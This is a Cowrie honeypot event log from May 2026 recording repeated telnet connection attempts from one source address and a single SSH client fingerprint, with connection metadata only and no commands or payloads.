{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":38010,"dst_ip":"10.17.0.5","dst_port":23,"session":"fd3f449f1c85","protocol":"telnet","message":"New connection: 23.111.140.22:38010 (10.17.0.5:23) [session: fd3f449f1c85]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:16:04.468972Z"}
{"eventid":"cowrie.session.connect","src_ip":"207.180.228.157","src_port":46580,"dst_ip":"159.203.135.109","dst_port":23,"session":"dc41de906882","protocol":"telnet","message":"New connection: 207.180.228.157:46580 (159.203.135.109:23) [session: dc41de906882]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:16:04.479024Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":38524,"dst_ip":"10.17.0.5","dst_port":23,"session":"315341ecbfa5","protocol":"telnet","message":"New connection: 23.111.140.22:38524 (10.17.0.5:23) [session: 315341ecbfa5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:16:04.623617Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":56874,"dst_ip":"10.17.0.5","dst_port":23,"session":"76d2badaaee7","protocol":"telnet","message":"New connection: 23.111.140.22:56874 (10.17.0.5:23) [session: 76d2badaaee7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:16:04.644366Z"}
{"eventid":"cowrie.session.closed","duration":31.840795755386353,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:16:04.654084Z","src_ip":"23.111.140.22","session":"0a880b94a5fa","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":38990,"dst_ip":"10.17.0.5","dst_port":23,"session":"bc00967f028c","protocol":"telnet","message":"New connection: 23.111.140.22:38990 (10.17.0.5:23) [session: bc00967f028c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:16:04.748997Z"}
{"eventid":"cowrie.session.closed","duration":31.630605697631836,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:16:04.848671Z","src_ip":"23.111.140.22","session":"8008805e9127","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":40146,"dst_ip":"10.17.0.5","dst_port":23,"session":"2d97a9f44e48","protocol":"telnet","message":"New connection: 23.111.140.22:40146 (10.17.0.5:23) [session: 2d97a9f44e48]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:16:05.081367Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":42300,"dst_ip":"10.17.0.5","dst_port":23,"session":"c254777fa743","protocol":"telnet","message":"New connection: 23.111.140.22:42300 (10.17.0.5:23) [session: c254777fa743]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:16:05.810877Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":39376,"dst_ip":"10.17.0.5","dst_port":23,"session":"503bdf64d0c0","protocol":"telnet","message":"New connection: 23.111.140.22:39376 (10.17.0.5:23) [session: 503bdf64d0c0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:16:05.864602Z"}
{"eventid":"cowrie.session.closed","duration":30.980940580368042,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:16:06.407230Z","src_ip":"23.111.140.22","session":"d95412f40d84","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":45018,"dst_ip":"10.17.0.5","dst_port":23,"session":"dbfe846c53fb","protocol":"telnet","message":"New connection: 23.111.140.22:45018 (10.17.0.5:23) [session: dbfe846c53fb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:16:06.654134Z"}
{"eventid":"cowrie.session.closed","duration":31.523375749588013,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:16:06.744524Z","src_ip":"23.111.140.22","session":"d00041580875","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":46134,"dst_ip":"10.17.0.5","dst_port":23,"session":"f36eba22a054","protocol":"telnet","message":"New connection: 23.111.140.22:46134 (10.17.0.5:23) [session: f36eba22a054]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:16:06.959668Z"}
{"eventid":"cowrie.session.closed","duration":31.223987817764282,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:16:07.016092Z","src_ip":"23.111.140.22","session":"32b8761deb74","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":43826,"dst_ip":"10.17.0.5","dst_port":23,"session":"52f37bef1883","protocol":"telnet","message":"New connection: 23.111.140.22:43826 (10.17.0.5:23) [session: 52f37bef1883]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:16:07.270156Z"}
{"eventid":"cowrie.session.closed","duration":30.742611169815063,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:16:07.319141Z","src_ip":"23.111.140.22","session":"4d39841cf9d5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":47346,"dst_ip":"10.17.0.5","dst_port":23,"session":"6e56588f545e","protocol":"telnet","message":"New connection: 23.111.140.22:47346 (10.17.0.5:23) [session: 6e56588f545e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:16:07.332190Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":45264,"dst_ip":"10.17.0.5","dst_port":23,"session":"f7e979ed4f49","protocol":"telnet","message":"New connection: 23.111.140.22:45264 (10.17.0.5:23) [session: f7e979ed4f49]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:16:07.723242Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":50704,"dst_ip":"10.17.0.5","dst_port":23,"session":"307273f7283e","protocol":"telnet","message":"New connection: 23.111.140.22:50704 (10.17.0.5:23) [session: 307273f7283e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:16:08.355377Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":56012,"dst_ip":"10.17.0.5","dst_port":23,"session":"40e01eb7d9f9","protocol":"telnet","message":"New connection: 23.111.140.22:56012 (10.17.0.5:23) [session: 40e01eb7d9f9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:16:08.418398Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":55182,"dst_ip":"10.17.0.5","dst_port":23,"session":"796e027d6c95","protocol":"telnet","message":"New connection: 23.111.140.22:55182 (10.17.0.5:23) [session: 796e027d6c95]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:16:08.423012Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":51164,"dst_ip":"10.17.0.5","dst_port":23,"session":"ebbda5fe9557","protocol":"telnet","message":"New connection: 23.111.140.22:51164 (10.17.0.5:23) [session: ebbda5fe9557]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:16:08.510247Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":47868,"dst_ip":"10.17.0.5","dst_port":23,"session":"ab09fbb12911","protocol":"telnet","message":"New connection: 23.111.140.22:47868 (10.17.0.5:23) [session: ab09fbb12911]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:16:08.515785Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":51658,"dst_ip":"10.17.0.5","dst_port":23,"session":"4860418c1bea","protocol":"telnet","message":"New connection: 23.111.140.22:51658 (10.17.0.5:23) [session: 4860418c1bea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:16:08.649881Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":41712,"dst_ip":"10.17.0.5","dst_port":23,"session":"696611d3dd6a","protocol":"telnet","message":"New connection: 23.111.140.22:41712 (10.17.0.5:23) [session: 696611d3dd6a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:16:08.672835Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":52772,"dst_ip":"10.17.0.5","dst_port":23,"session":"7e351687b376","protocol":"telnet","message":"New connection: 23.111.140.22:52772 (10.17.0.5:23) [session: 7e351687b376]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:16:08.977590Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":43170,"dst_ip":"10.17.0.5","dst_port":23,"session":"ed22a076a080","protocol":"telnet","message":"New connection: 23.111.140.22:43170 (10.17.0.5:23) [session: ed22a076a080]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:16:09.037528Z"}
{"eventid":"cowrie.session.closed","duration":33.023637533187866,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:16:09.193918Z","src_ip":"23.111.140.22","session":"81a3ba130693","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":51212,"dst_ip":"10.17.0.5","dst_port":23,"session":"22145fb9102f","protocol":"telnet","message":"New connection: 23.111.140.22:51212 (10.17.0.5:23) [session: 22145fb9102f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:16:09.539270Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":44794,"dst_ip":"10.17.0.5","dst_port":23,"session":"f2abade97fa6","protocol":"telnet","message":"New connection: 23.111.140.22:44794 (10.17.0.5:23) [session: f2abade97fa6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:16:09.590465Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":41898,"dst_ip":"10.17.0.5","dst_port":23,"session":"f70b76cb6faf","protocol":"telnet","message":"New connection: 23.111.140.22:41898 (10.17.0.5:23) [session: f70b76cb6faf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:16:09.732069Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":47714,"dst_ip":"10.17.0.5","dst_port":23,"session":"e7859dec9213","protocol":"telnet","message":"New connection: 23.111.140.22:47714 (10.17.0.5:23) [session: e7859dec9213]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:16:10.468328Z"}
{"eventid":"cowrie.session.closed","duration":32.05849075317383,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:16:10.626857Z","src_ip":"23.111.140.22","session":"74745490f747","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":60212,"dst_ip":"10.17.0.5","dst_port":23,"session":"727e0daf9b73","protocol":"telnet","message":"New connection: 23.111.140.22:60212 (10.17.0.5:23) [session: 727e0daf9b73]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:16:10.990934Z"}
{"eventid":"cowrie.session.closed","duration":31.254897594451904,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:16:11.053324Z","src_ip":"23.111.140.22","session":"14cb37041884","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":60924,"dst_ip":"10.17.0.5","dst_port":23,"session":"224081c247ba","protocol":"telnet","message":"New connection: 23.111.140.22:60924 (10.17.0.5:23) [session: 224081c247ba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:16:11.201937Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":57350,"dst_ip":"10.17.0.5","dst_port":23,"session":"a7eea08275f6","protocol":"telnet","message":"New connection: 23.111.140.22:57350 (10.17.0.5:23) [session: a7eea08275f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:16:11.226603Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":55694,"dst_ip":"10.17.0.5","dst_port":23,"session":"18ec8ab500d8","protocol":"telnet","message":"New connection: 23.111.140.22:55694 (10.17.0.5:23) [session: 18ec8ab500d8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:16:11.490703Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":34692,"dst_ip":"10.17.0.5","dst_port":23,"session":"bcbed0c4bf86","protocol":"telnet","message":"New connection: 23.111.140.22:34692 (10.17.0.5:23) [session: bcbed0c4bf86]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:16:11.689134Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":32784,"dst_ip":"10.17.0.5","dst_port":23,"session":"2acebae51d3d","protocol":"telnet","message":"New connection: 23.111.140.22:32784 (10.17.0.5:23) [session: 2acebae51d3d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:16:12.228180Z"}
{"eventid":"cowrie.session.closed","duration":31.00220561027527,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:16:12.689670Z","src_ip":"23.111.140.22","session":"dd65acaf516a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":35282,"dst_ip":"10.17.0.5","dst_port":23,"session":"5beb232d2852","protocol":"telnet","message":"New connection: 23.111.140.22:35282 (10.17.0.5:23) [session: 5beb232d2852]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:16:12.826951Z"}
{"eventid":"cowrie.session.closed","duration":30.214044094085693,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:16:13.039165Z","src_ip":"23.111.140.22","session":"d1283aac00a7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.97388744354248,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:16:13.426877Z","src_ip":"23.111.140.22","session":"70885ff7ad9f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.286421060562134,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:16:14.201325Z","src_ip":"23.111.140.22","session":"5707a4cb96b5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":41582,"dst_ip":"10.17.0.5","dst_port":23,"session":"cbf4d43868d6","protocol":"telnet","message":"New connection: 23.111.140.22:41582 (10.17.0.5:23) [session: cbf4d43868d6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:16:14.560851Z"}
{"eventid":"cowrie.session.closed","duration":31.43298053741455,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:16:14.961505Z","src_ip":"23.111.140.22","session":"ff34fe4ab060","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":43592,"dst_ip":"10.17.0.5","dst_port":23,"session":"652c4868d751","protocol":"telnet","message":"New connection: 23.111.140.22:43592 (10.17.0.5:23) [session: 652c4868d751]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:16:15.205344Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":49580,"dst_ip":"10.17.0.5","dst_port":23,"session":"4cc4641f4987","protocol":"telnet","message":"New connection: 23.111.140.22:49580 (10.17.0.5:23) [session: 4cc4641f4987]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:16:16.009169Z"}
{"eventid":"cowrie.session.closed","duration":30.530723094940186,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:16:16.071990Z","src_ip":"23.111.140.22","session":"0d86bf6ba0bc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":50450,"dst_ip":"10.17.0.5","dst_port":23,"session":"d6a224ab217c","protocol":"telnet","message":"New connection: 23.111.140.22:50450 (10.17.0.5:23) [session: d6a224ab217c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:16:16.327452Z"}
{"eventid":"cowrie.session.closed","duration":32.848827838897705,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:16:16.561527Z","src_ip":"217.182.190.44","session":"60c1ffa805da","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":51256,"dst_ip":"10.17.0.5","dst_port":23,"session":"6134aaf24bf1","protocol":"telnet","message":"New connection: 23.111.140.22:51256 (10.17.0.5:23) [session: 6134aaf24bf1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:16:16.587247Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":51876,"dst_ip":"10.17.0.5","dst_port":23,"session":"cb66dc401072","protocol":"telnet","message":"New connection: 23.111.140.22:51876 (10.17.0.5:23) [session: cb66dc401072]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:16:16.756527Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":55474,"dst_ip":"10.17.0.5","dst_port":23,"session":"11b17a63d4ab","protocol":"telnet","message":"New connection: 23.111.140.22:55474 (10.17.0.5:23) [session: 11b17a63d4ab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:16:16.867534Z"}
{"eventid":"cowrie.session.closed","duration":34.231717109680176,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:16:16.873882Z","src_ip":"23.111.140.22","session":"c594dde32043","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":52430,"dst_ip":"10.17.0.5","dst_port":23,"session":"4179e0542348","protocol":"telnet","message":"New connection: 23.111.140.22:52430 (10.17.0.5:23) [session: 4179e0542348]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:16:16.912416Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":54132,"dst_ip":"10.17.0.5","dst_port":23,"session":"4894083d17d8","protocol":"telnet","message":"New connection: 23.111.140.22:54132 (10.17.0.5:23) [session: 4894083d17d8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:16:17.522441Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":57232,"dst_ip":"10.17.0.5","dst_port":23,"session":"f12a25facada","protocol":"telnet","message":"New connection: 23.111.140.22:57232 (10.17.0.5:23) [session: f12a25facada]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:16:18.547806Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":44796,"dst_ip":"10.17.0.5","dst_port":23,"session":"1a2a7dd3954f","protocol":"telnet","message":"New connection: 23.111.140.22:44796 (10.17.0.5:23) [session: 1a2a7dd3954f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:16:18.626049Z"}
{"eventid":"cowrie.session.connect","src_ip":"202.145.0.61","src_port":38828,"dst_ip":"10.17.0.5","dst_port":22,"session":"15fdae90ee04","protocol":"ssh","message":"New connection: 202.145.0.61:38828 (10.17.0.5:22) [session: 15fdae90ee04]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:16:18.928401Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:16:18.933740Z","src_ip":"202.145.0.61","session":"15fdae90ee04","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":58544,"dst_ip":"10.17.0.5","dst_port":23,"session":"587a9525ab8f","protocol":"telnet","message":"New connection: 23.111.140.22:58544 (10.17.0.5:23) [session: 587a9525ab8f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:16:18.949663Z"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:16:19.167060Z","src_ip":"202.145.0.61","session":"15fdae90ee04","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.90808391571045,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:16:19.238582Z","src_ip":"23.111.140.22","session":"ba76d1e0c7a7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":59614,"dst_ip":"10.17.0.5","dst_port":23,"session":"08b42b8ef4f9","protocol":"telnet","message":"New connection: 23.111.140.22:59614 (10.17.0.5:23) [session: 08b42b8ef4f9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:16:19.322044Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":56754,"dst_ip":"10.17.0.5","dst_port":23,"session":"0a6aca97417f","protocol":"telnet","message":"New connection: 23.111.140.22:56754 (10.17.0.5:23) [session: 0a6aca97417f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:16:19.370027Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":59856,"dst_ip":"10.17.0.5","dst_port":23,"session":"8a0ce5118aa2","protocol":"telnet","message":"New connection: 23.111.140.22:59856 (10.17.0.5:23) [session: 8a0ce5118aa2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:16:19.391114Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":33314,"dst_ip":"10.17.0.5","dst_port":23,"session":"1f63eb93a183","protocol":"telnet","message":"New connection: 23.111.140.22:33314 (10.17.0.5:23) [session: 1f63eb93a183]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:16:19.894524Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":33648,"dst_ip":"10.17.0.5","dst_port":23,"session":"39599852c595","protocol":"telnet","message":"New connection: 23.111.140.22:33648 (10.17.0.5:23) [session: 39599852c595]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:16:19.978569Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":52844,"dst_ip":"10.17.0.5","dst_port":23,"session":"cbcf4cb3d302","protocol":"telnet","message":"New connection: 23.111.140.22:52844 (10.17.0.5:23) [session: cbcf4cb3d302]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:16:20.035760Z"}
{"eventid":"cowrie.session.closed","duration":30.74053120613098,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:16:20.113346Z","src_ip":"23.111.140.22","session":"8465a9971837","protocol":"telnet"}
